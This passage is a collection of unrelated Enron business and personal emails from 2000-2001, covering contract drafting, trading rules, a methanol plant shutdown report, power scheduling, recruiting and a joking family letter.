returns. If it can not I suggest we could add the definition of determination 
period, and state that the settlement amount is the aggregation of the 
amounts computed for all calculation periods within the determination period. 

The second attachment purely takes the language from your document and orders 
it as it would appear assuming all the attribute descriptions are as per my 
breakdown above. 

regards

M

Paul Smith@ENRON_DEVELOPMENT
24/01/2000 07:00
cc: Mark Dilworth@ECT, Allan Ford/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David 
Minns/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Elena Kapralova@ECT 

Subject: Re: EOL Long Form Description

Apologies.
Please use this attachment as the prior attachment is incorrect.

Rgds
Paul

Sharon,

We Schedule C'd the $50M difference.  Let me know if you need further info or 
backup.  Thanks.

DG   3-9573

I agree that we don't need outside counsel on the call at this point.  If I'm 
available, I'm happy to participate.  The scheduling problem is due to my 
travel plans.  I'll join in if the call is at a time I can fit in.  
Otherwise, I'll catch up with you later about the results of the call.

Kay

	From:  Ben F Jacoby @ ECT                           02/01/2001 08:32 AM
	
cc:  

Subject: Re: NRG Conference call - GE 7EA  

My comment was really directed toward outside counsel. As you know, you're 
always welcome...

02/01/2001 06:55 AM
To: Ben F Jacoby/HOU/ECT@ECT
cc: Fred Mitro/HOU/ECT@ECT, Chris Booth/NA/Enron@Enron 

OK.  Friday was going to be really difficult for me anyway.  

Kay

	From:  Ben F Jacoby @ ECT                           01/31/2001 11:00 AM
	
cc: Kay Mann/Corp/Enron@Enron, Chris Booth/NA/Enron@Enron 

Fred:

I think it's premature to have legal on the line. If they have specific 
comments on the docs, they need to send them to us and we can quickly get 
back to them. If they want to have a commercial discussion, we can proceed 
without legal.

Thanks,

Ben

Fred Mitro
01/31/2001 10:28 AM
cc: Ben Jacoby/HOU/ECT@ECT, Chris Booth/NA/Enron@Enron 
Subject: NRG Conference call - GE 7EA

Kay:

I spoke to NRG this morning.  They would like to arrange a conference call 
for Friday (most likely in the morning) to discuss the proposed transaction 
involving the GE 7EA.  Are you available to call in from New York?  If not, 
can Carolyn Campbell sit in for you on the call?

Let me know sometime today.  

Thanks,
Fred

How can a non-bank be a multibranch entity?  If I remember, we spent a hour 
with London over the phone discussing just this issue! 

----- Forwarded by Tana Jones/HOU/ECT on 06/14/2000 05:01 PM -----

	Susan Flynn
	06/14/2000 04:56 PM
		 
		 To: Jefferson D Sorenson/HOU/ECT@ECT, Laurel Adams/HOU/ECT@ECT, Andrea R 
Guillen/HOU/ECT@ECT, Larry Joe Hunter/HOU/ECT@ECT, David P Dupre/HOU/ECT@ECT, 
Chris Walker/HOU/ECT@ECT, Jarrod Cyprow/HOU/ECT@ECT, Pamela 
Sonnier/HOU/ECT@ECT, Sheetal Patel/HOU/ECT@ECT, Souad 
Mahmassani/Corp/Enron@ENRON, Gordon Heaney/Corp/Enron@ENRON, Kevin 
Meredith/Corp/Enron@ENRON, Derek Bailey/Corp/Enron@ENRON, Bruce 
Mills/Corp/Enron@ENRON, Jean Bell/HOU/ECT@ECT, Harry Bucalo/HOU/ECT@ECT, 
Charlie Hoang/HOU/ECT@ECT, Bob Bowen/HOU/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, Nidia 
Mendoza/HOU/ECT@ECT, Tanya Rohauer/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Rod 
Nelson/HOU/ECT@ECT, Russell Diamond/HOU/ECT@ECT, Tracy Ngo/HOU/ECT@ECT, John 
Suttle/HOU/ECT@ECT, Tracy Ngo/HOU/ECT@ECT, Lesli Campbell/HOU/ECT@ECT, Molly 
Harris/HOU/ECT@ECT, Christopher Smith/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, 
Molly Harris/HOU/ECT@ECT, Kevin P Radous/Corp/Enron@Enron@ECT, Veronica 
Espinoza/Corp/Enron@ENRON, Edward Sacks/Corp/Enron@Enron, Wendi 
LeBrocq/Corp/Enron@Enron, Sara Shackleton/HOU/ECT@ECT, Mark 
Taylor/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT, Carol 
St Clair/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT, Marilyn 
Colbert/HOU/ECT@ECT, Yolanda Cordova-Gilbert/HOU/ECT@ECT, Diane 
Ellstrom/HOU/ECT@ECT, Lynn E Shivers/HOU/ECT@ECT, Willie Harrell/HOU/ECT@ECT, 
Bill D Hare/HOU/ECT@ect, Jason Moore/HOU/ECT@ECT, Leslie Reeves/HOU/ECT@ECT, 
Dianne Seib/CAL/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Anthony 
Campos/HOU/ECT@ECT, Mary G Gosnell/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, 
Willie Harrell/HOU/ECT@ECT, Anthony Campos/HOU/ECT@ECT, Carrie 
Southard/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT, Sheri Thomas/HOU/ECT@ECT, 
Amber Ebow/HOU/ECT@ECT, Adnan Patel/Corp/Enron@ENRON, Stephanie 
Sever/HOU/ECT@ECT, Melissa Ann Murphy/HOU/ECT@ECT
		 cc: 
		 Subject: IDACORP Energy Solutions, L.P.

 We have received the following executed Master Agreement:

Effective Date:   June 8, 2000

Enron Entity:   Enron North America Corp.

Counterparty:   IDACORP Energy Solutions, L.P.

Transactions:   Approved for all products except:   foreign exchange and pulp 
and paper

PLEASE NOTE:  This Counterparty is a multi-branch party and may transact 
business out of its Houston and Boise, Idaho offices.

    The Counterparty has three (3) Local Business Days to accept or dispute  
a Confirmation.

Susan D. Flynn
1400 Smith Street, EB3806
Phone:  713-853-0975
Fax:  713-646-3490

Scott is your main man - I guess.  I don't know if he is going to keep doing 
it or if he's going to hire an analyst.  I think Susan will be doing Texas 
Eastern.  Mr. Goodell will be going to the CGAS/TCO meeting on Tuesday.  I 
may be going Tues afternoon.  

When do you leave Houston?

"Veselack, Joni" <joni.veselack@neg.pge.com> on 05/08/2001 08:16:56 AM
To: "'Chris Germany'" <chris.germany@enron.com>
cc:  
Subject: Who is doing Tenn 500/800??

Vickey told me yesterday was her last day. I see Scott Neal is on Tenn Z0.

There are no quotes out there... just for Enron's info.

I'll be in town this weekend.. going to TCO/Gulf meeting Monday and Tuesday.
Hope to see you.

Hope your back and other aches are okay.

PG&E National Energy Group and any other
company referenced herein that uses the PG&E name or
logo are not the same company as Pacific Gas and
Electric Company, the regulated California utility.  Neither
PG&E National Energy Group nor these other
referenced companies are regulated by the California Public
Utilities Commission.  Customers of Pacific Gas and Electric Company
do not have to buy products from these companies in order
to continue to receive quality regulated services from the utility.

Vince,

Congratulations to you too!  In my mind you've always been an MD, they're 
just officializing it now.

Thank you very for all your help and support.

--anthony

01/11/2000 10:05 AM
To: Anthony Dayao/HOU/ECT@ECT
cc:  
Subject: Congratulations

Anthony,

Congratulations. Well deserved. I am very happy for you. Better late than 
never.

Vince

A team of key executives from Enron will be on campus on the 19th of October 
for the purposes of meeting with key staff and faculty to learn more about 
the School and how the firm can gain a greater presence here.  Included in 
this group will be:

Vince Kaminski, Director of Research

Christie Patrick, VP, University Relations

Mike Rosen, Director, University Affairs Group

I have developed a proposed agenda for the visit.  Please review and confirm 
that you are available to meet with one or more of the Enron Team at the 
times specified.  If so, please provide me a prefered meeting location.  If 
not, please alternate times and locations.

8:00-9:00  Breakfast with Donna Piazze and Keith Weigelt to discuss "Tiger 
Team FAP Project"  The Ivy Grill, Inn at Penn

9:00-10:30  Meeting with Raffi Amit, Ian MacMillan, Emily Cieri and Anne 
Stamer to discuss the Sol C. Snider Entreprenuer Center and its related 
programs, the Business Plan Competition and WeBI...4th Floor Conference Room, 
Vance Hall???

10:30-12:00 Christie and Mike hold discussions with Cara Tyler, Bob Bonner 
and Pat Rose regarding recruiting processes and procedures...CMS Conference 
Room

10:30-???  Broadband executive meets with Gerry McCartney and other 
university officials to discuss campus needs, future usage projections, etc.

10:30-11:30  Vince meets with Sid Winter reference Jones Center and related 
research

11:30-12:00  Vince meets with Howard Kunruether to discuss Risk Management

12:00-1:15pm  Group lunch with Jerry Wind at Faculty Club to discuss the 
e-Fellows Program

2:00-3:00pm Christie and Mike meet with Mike Baltes to discuss Co-branding 
issues with Wharton and UPenn

5:00pm  All will attend the ET Conference Dinner event

Please confirm your willingness and availability to support this agenda.  

TOM

what time do we need to leave to make 2:45

From: 	Heintzelman, Pete  
Sent:	Friday, August 10, 2001 1:26 PM
To:	Ward, Kim S (Houston)
Subject:	

Think, AC, popcorn, comfy stadium seat, matinee

Well.......

Peter J. Heintzelman
Manager, Generation Investments
Office 713-345-7024
Cell    713-553-4353

As we discussed, I have attached a memo that discusses the Revised UCC
generally and an outline that focuses on the transition.  Please call me if
you have any questions.

(See attached file: #441719 v1 - Revised UCC Memo.doc)(See attached file:
#561103 v4 - Revised Article 9 Transition Memo.doc)

Lech Kalembka
Cadwalader, Wickersham & Taft
100 Maiden Lane
New York, NY  10038
Tel.: (212) 504-6918
Fax: (212) 504-6666
E-mail: lech.kalembka@cwt.com
NOTE:  The information in this email is confidential and may be legally 
privileged.  If you are not the intended recipient, you must not read, use or 
disseminate the information.  Although this email and any attachments are 
believed to be free of any virus or other defect
that might affect any computer system into which it is received and opened, 
it is the responsibility of the recipient to ensure that it is virus free and 
no responsibility is accepted by Cadwalader, Wickersham
& Taft for any loss or damage arising in any way from its use.

 - #441719 v1 - Revised UCC Memo.doc
 - #561103 v4 - Revised Article 9 Transition Memo.doc

Vangie,

Because of the synonymous negotiations of agreements with enovate and ENA,  
Stacy Dickson will we negotiating for ENA and enovate.  Therefore, please 
send any questions and or issues regarding these to her attention,  I have 
given her your redline and comments.
	stacy.e.dickson@enron.com?

One final issue concerns the GISB.   Do you want to proceed with this 
agreement.  If so, I will negotiate this one with you.  Please let me have 
your thoughts regarding same.

Just wanted to make sure you saw this from Les Rawson concerning Grays Harbor and Willamette.
-Bill

Beginning immediately Enron has purchased Control Area Reserves service from BPA. 

The allows Services to sell Unit contingent energy as hourly firm since BPA is suppling reserves for up to 60 Minutes. If Grays Harbor Paper notifies RT of a unit derate or outage RT should notify BPA dispatch immediately and make the reduction in the schedule during the next ramp. For example should Grays unit trip as 1333 RT would notify BPA and the sink that across the top of the hour for 1400 the schedule would be taken to zero for HE 1400. The bottom line is that 60 minutes is the maximum time BPA will carry the schedule.

Send me a e-mail concerning any reductions for Grays since the energy would need to be repaid back within 168 hours.

Also, for May Services sold 10 mw of UC energy to EWEB from Willamette all hours. As part of this sale Services bought 18 Mw of firm transmission from PACW to BPAT for all hours. 10Mw of this purchase will be used for the monthly sale with the remaining 8Mw used for day ahead and hourly sales. The Assignment Reference # 139990. The cost for this transmission is $2.72 per hour vs the $5.84 we normally pay for hourly non-firm so hopefully we can save some money on PAC transmission.

Also, beginning May 1 Services purchased Ancillary Services from PacifiCorp to allow Willamette's Unit Contingent energy to be sold as 1-hour firm with reserves. The procedure for dealing with inner hour cuts is similar to Grays with the exception of not calling PAC RT dispatch. Simply cut or reduce the schedule at the next ramp and note the derate in a e-mail to Services. This service adds .43 cents per Mw to the term sale costs. However, this service applies to Willamette's sales up to 30Mw.

Les

---------------------- Forwarded by John Arnold/HOU/ECT on 05/10/2001 08:18 

SOblander@carrfut.com on 05/10/2001 07:50:19 AM
To: soblander@carrfut.com
cc:  
Subject: (01-154) Implementation of New NYMEX Rule 9.11A (Give-Up Trades) 
IMPORTANT MEMO

Notice # 01-154
May 7, 2001

TO:
All NYMEX Division Members and Member Firms

FROM:

RE:
Implementation of New NYMEX Rule 9.11A ("Give-Up Trades")

DATE:
May 7, 2001
===========================================================
Please be advised that beginning on the trade date of Friday, June 1, 2001,
new NYMEX Rule 9.11A ("Give-Up Trades") will go into effect.

!    In the absence of an applicable give-up agreement, new Rule 9.11A will
define the respective responsibilities/obligations to an order of executing
brokers, customers and Clearing Members.

!    The term "executing broker" as used in Rule 9.11A refers to the
registered billing entity, Member Firm or Floor Broker to whom the order is
transmitted.

!    Rule 9.11 will provide that, in the absence of an applicable give-up
agreement, a Clearing Member may reject a trade only if: (1) the trade
exceeds trading limits established by the Clearing Member for that customer
that have been communicated to the executing broker as provided by the rule
or (2) the trade is an error for which the executing broker is responsible.

!    The new rule also places affirmative obligations on executing brokers
to confirm Clearing Member authorization for an account.  For example,
prior to an executing broker accepting and executing an initial order for
any new customer account, such executing broker must confirm with the
Clearing Member by telephonic, electronic or written means, that:
(a)  the customer has a valid account with the Clearing Member;
(b)  the account number;
(c)  the brokerage rate;
(d)  the customer is authorized by the Clearing Member to place orders with
the executing broker for that account; and
(e)  a listing or summary of persons authorized to place orders for that
account.
Moreover, the executing broker must retain a copy of the authorization or
the specifics of the telephonic confirmation, which includes: opposite
party, date, time, and any other relevant information.  The Compliance
Department will conduct periodic audits of such records, and falsification
of such information shall be the basis for disciplinary action.

If you have any questions concerning this new rule, please contact Bernard
Purta, Senior Vice President, Regulatory Affairs and Operations, at (212)
299- 2380; Thomas LaSala, Vice President, NYMEX Compliance Department, at
(212) 299-2897; or Arthur McCoy, Vice President, Financial Surveillance
Section, NYMEX Compliance Department, at (212) 299-2928,

NEW RULE 9.11A ("Give-Up Trades")

(Entire rule is new.)

Rule 9.11A     Give-Up Trades

In the absence of a give-up agreement whose terms and conditions govern the
responsibilities/obligations of executing brokers, customers and Clearing
Members, the following rules shall define the respective
responsibilities/obligations of those parties to an order.  The "executing
broker", as used in this rule, is the registered billing entity, Member
Firm or Floor Broker to whom the order is transmitted.

(A)    Responsibilities/Obligations of Clearing Members

(1). Limits Placed by Clearing Member.   A Clearing Member may, in its
discretion, place trading limits on the trades it will accept for give-up
for a customer's account from an executing broker, provided however, that
the executing broker receives prior written or electronic notice from the
Clearing Member of the trading limits on that account.  Notice must be
received by the executing broker in a timely manner.  A copy of such notice
shall be retained by the Clearing Member.

(2). Trade Rejection.  A Clearing Member may reject ("DK") a trade only if:
(1) the trade exceeds the trading limits established under Section I(A) of
this rule for that customer and it has been communicated to the executing
broker as described in Subsection (A); or (2) the trade is an error for
which the executing broker is responsible.  If a Clearing Member has a
basis for rejecting a trade, and chooses to do so in accordance with the
provisions of Rule 2.21(B), it must notify the executing broker promptly.

(3). Billing.  A Clearing Member will pay all floor brokerage fees incurred
for all transactions executed by the executing broker for the customer and
subsequently accepted by the Clearing Member by means of the ATOM system.
Floor brokerage fees will be agreed upon in advance among the Clearing
Member, customer and the executing broker.

(B)  Responsibilities/Obligations of Executing Brokers

(1)  Customer Order Placement.  An executing broker will be responsible for
determining that all orders are placed or authorized by the customer.  Once
an order has been accepted, a broker or the broker's clerk must:

(a)  confirm the terms of the order with the customer;
(b)  accurately execute the order according to its terms;
(c)  confirm the execution of the order to the customer as soon as
practicable; and
(d)  transmit such executed order to the Clearing Member as soon as
practicable in accordance with Exchange Rules and procedures.

2.   Use of Other Persons.  Unless otherwise agreed in writing, the
executing broker is allowed to use the services of another broker in
connection with the broker's obligations under these rules.  The executing
broker remains responsible to the customer and Clearing Member under these
rules.

3.    Executing Broker Responsibility for Verifying Clearing Member
Authorization.  Prior to a broker accepting and executing an initial order
for any new customer account, the executing broker must confirm with the
(f)  the customer has a valid account with the Clearing Member;
(g)  the account number;
(h)  the brokerage rate;
(i)  the customer is authorized by the Clearing Member to place orders with
(j)  a listing or summary of persons authorized to place orders for that
account.
The executing broker must retain a copy of the authorization or the
specifics of the telephonic confirmation, which includes: opposite party,
date, time, and any other relevant information.  The falsification of such
information shall be the basis for disciplinary action.

4.   Rejection of Customer Order.  Where an executing broker has confirmed
Clearing Member authorization to execute orders on behalf of a customer in
accordance with this Rule 9.11A, the broker may, in the broker's
discretion, reject an order that the customer transmits to the broker for
execution.  The broker shall promptly notify the customer and the Clearing
Member(s) of any such rejection.

Jim:  I understand Sheila Walton (our regular HR rep.) has cancer and will be out for awhile (that certainly puts things in perspective, doesn't it?).  Her HR replacement is Terry Bosien---should I contact her re the promotions of Dave and Kriste (again, subject to your approval, of course---whatever info you need from me supporting these recommendations, just let me know).  Thanks again, Rex

Let's use the same dates, then.

Thanks,

Marcelo A. Cosma
Office of General Counsel--Canada
Tel.:  1-416-369-7478
Fax:  1-416-369-4551
E-mail:  marcelo_cosma@ca.ml.com

This email message is intended for the addressee only.  It may contain
information which is privileged, confidential or exempt from disclosure
under applicable law.  Any dissemination or copying of this email
message by anyone other than the addressee is strictly prohibited.

From: Sara.Shackleton@enron.com [mailto:Sara.Shackleton@enron.com]
Sent: Wednesday, May 23, 2001 5:41 PM
To: Cosma, Marcelo (Toronto-BCE)
Subject: RE: Repo Agreement

no, same dates are fine with me

                    "Cosma,

                    Marcelo              To:
"'Sara.Shackleton@enron.com'" <Sara.Shackleton@enron.com>
                    (Toronto-BCE)        cc:

                    "                    Subject:     RE: Repo Agreement

                    <Marcelo_Cosm

                    a@ml.com>

                    05/23/2001

                    03:49 PM

Sara:

Do you have any issue with the signatures having the same date?

Sent: Wednesday, May 23, 2001 4:48 PM
To: Marcelo_Cosma@ml.com
Subject: Re: Repo Agreement

Marcelo:

We are ready to execute.  You did not date your signature.  Do you want us
to use any particular date for your execution?  Thanks.

                    "Cosma,

                    Marcelo              To:     "'Sara Shackleton'"
<Sara.Shackleton@enron.com>

                    "                    Subject:     Repo Agreement

                    a@ml.com>

                    05/22/2001

                    07:28 AM

Sara:

Thank you for yoir fax of May 21st.  I apologize for the oversights you
noted.  Your suggestion of making the changes on your end is fine.

Regards,

under applicable law.  Any dissemination or copying of this email message
by
anyone other than the addressee is strictly prohibited.

Comments?

From: Saunders, James 
Sent: Wednesday, November 21, 2001 9:47 AM
To: Hayslett, Rod
Subject: FW: Enron--Methanol Plant Outage

we need to consider meth plant reserve
its going to be difficult to justify current valuation

From: Meers, Thomas 
Sent: Monday, November 12, 2001 9:19 AM
To: Clayton, Paul
Cc: Saunders, James
Subject: Enron--Methanol Plant Outage

	Paul,

	The Methanol Plant was shutdown during August of this year due to poor economics.  The following is a list of steps 	taken to prepare the plant for this outage:

	Lines and vessels have been purged and are mostly open to the atmosphere.
	Lubricating oils have been drained from equipment, "large oil systems" (e.g. syn gas and recycle compressor lube 	systems) have been soap washed.
	Oily water sewer and separation vessels have been washed with soap.
	Chemical storage vessels have been cleaned out or removed from the plant.
	Cooling tower wooden structures have been demolished and removed from the site.
	Industrial gases (e.g. calibration, welding, etc.) have been removed from the plant.
	Natural gas and oxygen lines to the facility have been blinded at the battery limits.
	All catalyst and resins have been removed from the plant.
	All firefighting equipment (e.g. fire water, monitors, extinguishers, foam, foam truck, etc.) remain in the facility 	and are serviceable.
	LEL monitoring equipment and the Whalen alarm system remain in service and are serviceable.
	Provisions are being made for necessary periodic inspection of fire extinguishers. (Should LEL test, alarm test, 	monitor inspection, be included?)
	Electrical power will remain to all facilities and will be serviceable.
	All current utilities to the Tank Farm/Barge Loading Facilities will remain and will be serviceable.
	The process area will be secured by a six foot high chain link fence with 20' wide gates on each side at drive in 	points.  The gates will be locked.
 	The oxygen compressor located in Sunoco area will be secured by a six foot high chain link fence with one pedestrian 	gate (locked).
	Pipe racks on the north boundary of the plant will be within the security fence, pipe racks on the west boundary will 	be outside the security fence.
	Admin and analyzer buildings will be locked and HVAC systems turned off.
	The warehouse will continue to house a reduced level of inventory with HVAC system in service.
	
	Please let me know if you need any additional information regarding the latest outage of the Methanol plant.

	Thanks,
		Tom   713-993-5604

From: Clayton, Paul 
Sent: Friday, November 09, 2001 8:57 AM
To: Meers, Thomas
Cc: 'dhuc@mcgriff.com'
Subject: RE: Enron--Methanol Plant Closure

Tom - any idea when you will have time to respond? Has this been shut-down or is it in process?

Thanks,

Sent: Wednesday, October 31, 2001 12:34 PM

Tom -  thanks for advising.

Paul

Sent: Monday, October 29, 2001 8:13 AM

	Paul,

	My apologies for not responding but I've been dealing with other issues and have been out of the office.  I'll try to 
	respond this week.

	Thanks,
		Tom

Sent: Friday, October 26, 2001 9:14 AM
To: Meers, Thomas; Meers, Thomas
Subject: FW: Enron--Methanol Plant Closure

Tom:
Please provide accordingly so underwriters can be advised.
Thanks,

Sent: Monday, October 15, 2001 2:59 PM

Tom:
Pursuant to our conference call with David Huckabay, you were going to provide additional information regarding above. David has summarized this as outlined below.

Please provide at your earliest convenience.

Thanks,

From: David Huckabay [mailto:DHUC@McGriff.com]
Sent: Friday, October 12, 2001 9:42 AM
Cc: Sheryl Winslett; Alastair Muir-Taylor; Peter Magyar
Subject: Enron--Methanol Plant Closure

Paul,

Further to our discussion on 10/03/01, we understand that Tom Meers is
looking at providing additional information regarding the above.
Specifically, he is to provide a report advising Enron's plans for this
facility including the details of the "shut down" process, maintenance of
the facility, security at the site, etc. This information will be provided
to Enron Corp Property Package underwriters when received. Our current
understanding is that the facility has not been operating for the past 30
days and is preparing for a longer term shut down phase. We further
understand from our conversation that Enron is clearing the product streams
from the system and that the plant is currently "hydrocarbon free" thus
eliminating a substantial portion of the facility fire hazards. Also, we
understand that the tank farm and control building will continue to operate.
Enron is maintaining front gate security and is considering a separate
fencing around the process area.

Paul, we look forward to receiving the report as requested. Please advise
status.

David Huckabay      

From: Governor's Office of Emergency Services

SACRAMENTO - Today, the Governor's Office of Emergency Services
reports that it has pulled together the largest contingent of
firefighting resources in California history since the Malibu fires
of 1993.

State OES has deployed firefighters from within 51 of California's 58

counties to battle this month's wildfires (see attachment). The 1,500

firefighters make up the second largest mass of firefighters deployed

by OES to a single incident since the Southern California Fire Siege
of October 1993. That month, OES called out 810 engines to battle
193,814 acres. This month, OES has called out 368 engines to battle
more than 100,000 acres.

State OES pulls together local government and state fire fighting
resources through the California Fire & Rescue Mutual Aid System. The

neighbor-helping-neighbor system is designed to assist the California

Department of Forestry and Fire Protection, federal wildland fire
agencies, and local departments. It is also designed to ensure that
additional resources are provided to local jurisdictions whenever
their resources are committed or insufficient for a fire.

Today, 160 fire fighters that OES dispatched to the Ponderosa Fire in

Placer County are returning to their homes in El Dorado, Contra
Costa, Nevada, Placer, Sacramento, Yolo and Solano Counties.

In all, 368 local government and State OES engines deployed by OES
remain on four fires along with eight California National Guard
helicopters. Those fires are:

?Creek Fire in Mariposa and Tuolumne counties at 11,565 acres, 60%
contained with 211 OES and local government engines. Since the fire
started 5 p.m. on Saturday it has threatened 3,000 homes.

?North Fork in Madera County at 2,710 acres, 10% contained with 10
local government engines. Since that fire started on Monday, it has
destroyed two homes, and led to evacuation orders on 210 homes.

?Highway Fire in Fresno County (Sequoia National Forest), which is
1,275 acres, 0% contained, today, with 15 OES and local engines.
Since the fire started at 6:45 p.m. on Sunday, it has destroyed three

homes, and four out buildings. 

?Leonard Fire in Calaveras County, is 3,800 acres, 30 % contained,
with 90 OES and local engines. Since the fire started at 2:15 p.m. on

Friday, three structures have been destroyed: 1 home and two
outbuildings. Evacuations have been ordered for numerous communities.

The OES Fire and Rescue Emergency Operations Center in Sacramento
remains activated 24-hours a day to provide statewide coordination of

fire and rescue efforts. Representatives from OES Executive, Law
Enforcement, Inland Region and California Department of Forestry and
Fire Protection are co-located in the Fire EOC.   
	
- OES -

The following is a list of counties from which city and county
firefighters have been deployed:

Los Angeles and Vicinity

Los Angeles County
Orange County
San Luis Obispo County
Santa Barbara County
Ventura County

San Francisco Bay Area/Northcoast

Alameda County
Contra Costa County 
Humboldt County 
Lake County 
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---------------------- Forwarded by Phillip K Allen/HOU/ECT on 02/20/2001 
11:59 AM ---------------------------
   
	From:  Phillip K Allen                           02/15/2001 01:13 PM
	
To: stagecoachmama@hotmail.com
cc:  
Subject: 

Lucy,

Thanks for clearing up the 2/2 file.  Moving on to 2/9, here are some 
questions:

#1 It looks like he just missed 1/26&2/9 of $110.  I can't tell if he still 
owes $47 on his deposit.

#13 I show she missed rent on 1/26 and still owes $140.

#15 Try and follow up with Tomas about the $95.  Hopefully, he won't have a 
bad reaction.

#20b Missed rent?

#26  Has she paid any deposit or rent?

#27 Missed rent?

Call me about the dynegy thing I have an idea.

Sent:	Thursday, May 24, 2001 11:09 AM
To:	Lavorato, John
Subject:	Fines and EOL

Fines:

     I know you have talked with Phillip but I wanted to give my two cents.  I think the fines are a great idea. We must be accountable for VAR.  However the fines do not allow the desks to push the envelope.  The desks need to stay a couple million under VAR to protect against volatility and factor changes.  We do not have the tools to predict our VAR with any strong degree of accuracy but we are penalized for going over a few hundred thousand dollars.  I propose a one day grace period of 10% to 12% over limit.  This would allow the desks to max their VAR and protect against unexpected changes.

EOL:

We continue to have trouble with brokers not working our EOL numbers.

We believe Dynegy has written a program to mirror our cash markets on their system. When we suspend, they suspend and as our markets move, so do theirs.

Robert Ricks - Lead Forecaster NWS Slidell, LA
                     Arriving on Tuesday or Wednesday for interviews
                     Liz Taylor is coordinating travel plans

Mike Gasper - Reliant forecaster, 10 years experience, Dave knows him from Accu-weather
                     Dave Ryan is meeting with him this afternoon to determine if he will interview next week

Paul Pastelok - Accu-weather
                       He has interest and asked that Dave call him this weekend about details.

Chris Hyde - Earth Sat
                   He has interest and asked that Dave call him this weekend about details.

Matt Rogers - Earth Sat
                    On vacation this week.  Dave is going to call him on Monday

Bill Read - Lead Forecaster NWS Houston
                He has interest and Jay is trying to set up an off site meeting for you or me.

Kevin Stenson - Weather Channel Forecaster
                        Friends with Steven Bennett
                        He has interest and asked that Steve call him this weekend about details.
                        I will attempt to gain access to him outside of Steve.

Terry:

Clint Freeland asked that we resend our forward confirmation template to 
you.  It is attached below.
Also, we will send a draft of our ISDA Master Agreement (Schedule only,  no 
boilerplate) to you shortly.  Can you provide me with the name of your 
attorney so that we can email directly?  It seems that Enron North America 
Corp. is currently negotiating an ISDA with First Union National Bank and 
sent a new ISDA draft to the attention of Delene Travella on 11/08/00.  There 
may be an efficient way to handle both master agreements simultaneously.

Regards,

Sara
----- Forwarded by Sara Shackleton/HOU/ECT on 01/03/2001 01:22 PM -----

	12/07/2000 11:00 AM
		 
		 To: terrance.ganser@funb.com
		 cc: Clint Freeland/Corp/Enron@Enron, Sara Shackleton/HOU/ECT@ECT
		 Subject: Sample Forward Confirmation

At the request of Clint Freeland (who works with Tim DeSpain), attached is 
Enron Corp.'s template for a forward transaction.

1400 Smith Street, Suite 3806

uh huh.  now dig this:

you ol'two belly button sportin', G Gordon Liddy promotin', zydeco lovin',
Old Testament swearin', cookbook totin', 76116 persistin', your own
expensive little kitty cat exterminatin', marathon hossin', Vas Deferens
clippin', SPC state wrestling championship winnin', home improvement
undertakin', mercedez winnin' bitch!

and you ol' male only sirin', no email writin', coke bottle spectatin',
camille consiglierin', tort reform opposin', constant pocket pool playin',
heaps of cashish pullin', corporation defendin', no English pea eatin',
injunction weildin', lawsuit threatenin' knucklehead!

you too you ol' redhead bearin', Maury shushin', urban sprawl contributin',
Washington DC missin', malapropisin', Mormon datin', hallowed halls reverin'
till you caught your boss corruptin', Okie race mixin', Texas returnin'
nappyhead!

you as well you ol' prog rock listenin', bayou livin', big ass house
designin' and buildin' then later to your senses comin' and sellin',
technology lovin', elderberry smellin', boy scout troop leadin', patient
rescuin', only one of us to have musical talent exhibitin', ER criticisin',
Goodall Wootten hall monitorin' punk!

and you may get yourself some too you ol' Dan Majerle doppelgangin', swamp
escapin', treehouse livin', Longhorn hopin', Toby missin', KLBJ listenin',
John McCain apoplexin', icy road to Carbondale with all of us in the truck
skiddin' because your ass was speedin', Steeler onside kick in Supe 30
predictin', Colonel Rosacker reverin', prodigal texan son returnin', wine
sippin' fool!

y'all sure y'all really want me to come home?  i wonder...

i would like to ask all y'all to use your imagination a bit so that i may
make my first attempt at the powerfully tricky and thankless task of
modifying group behavior in the clan sanders.

imagine that you had a massive and grotesquely noticeable birthmark shaped
just like a swastika on your forehead.  any sort of limb will do - the point
is, it is something of which you are always fully and painfully aware.
next, imagine that everyone you love began each conversation with you by
mentioning it, not cognizant of the fact that of course you know about it
and it does not please you to hear the constant refrains asking about it.

exaggeration for effect aside, y'all need to know that answering the
question "when are you coming home" every time i pay a dime to give a holler
back home gets purty doggone tiring.  it ain't at aggravation point yet,
but...  suffice to say i know by now how y'all feel, okay?

of course if YOU should care to ring the good and gentle folk at nippon
telephone and telegraph, you may say whatever you want.  the single
exception to this rule is the Great She-Elephant herself, who not only
retains the right to nag but who also has earned it.  have i bragged about
how much of an uberfrau she has been lately?  truly stalwart stuff - jazz
documentary taped, bitchin' xmas present, and even chunked some green into
the bank for us.  and just this morning took a mate of mine visiting Foat
Wuth for the weekend out for lunch!  Viva Camilla!  or in nipponese, she is
a sugoi oka-san!

but for not listening to my tape of jazz interpretations of broadway musical
tunes (and i KNOW you haven't listened to it, mama), you may step on up and
lend me your eyes, you ol' avocado eatin', bridge masterin', Jerry Jones
hatin', Mansfield escapin', wine spillin', no high (or low) heel wearin',
cookie selling girl scout at the door slammin', nicotine cravin', taxbill
complainin' but no church tithin', chili and rice cookin' old petal!
(apparently that is yorkshirespeak for darling)

well that is enough insults for a spell - got a wee carried away there.
just wanted to say hey to y'all and throw out the following info, namely
that the next visit will come in the autumntime.  colorado is playing UT in
austin on october 21st, and the frivolity of such an aiming point makes it
irresistable.  count on mid to late october unless notified otherwise....

hope this finds all y'all well.  please know that the love flowing from
hereabouts has not abated one iota - if anything, it has the strength of ten
grinches!  keep well -

rollo

Hi Tana - got your message - should be possible to get EnronCredit.com 
director to sign here tomorrow morning and faxed to you in time for meeting.

Mike

In the fridge next to the mustard.

cc:  
Subject: Re: Ogy  

Hey  - jason wants to know - "Wheres the Ogy"

Daren:

On 5/1/2000 recorded flow of 9 Mmbtus from HPL's pipeline.   Deal #222051 was 
at this meter during April 2000, but the deal expired on 4/30/2000.  
Currently, this volume is being booked to the HPL Stranger Gas Contract.  
Logistics needs either (1) Deal #222051, (2) New Deal, or (3) approval to 
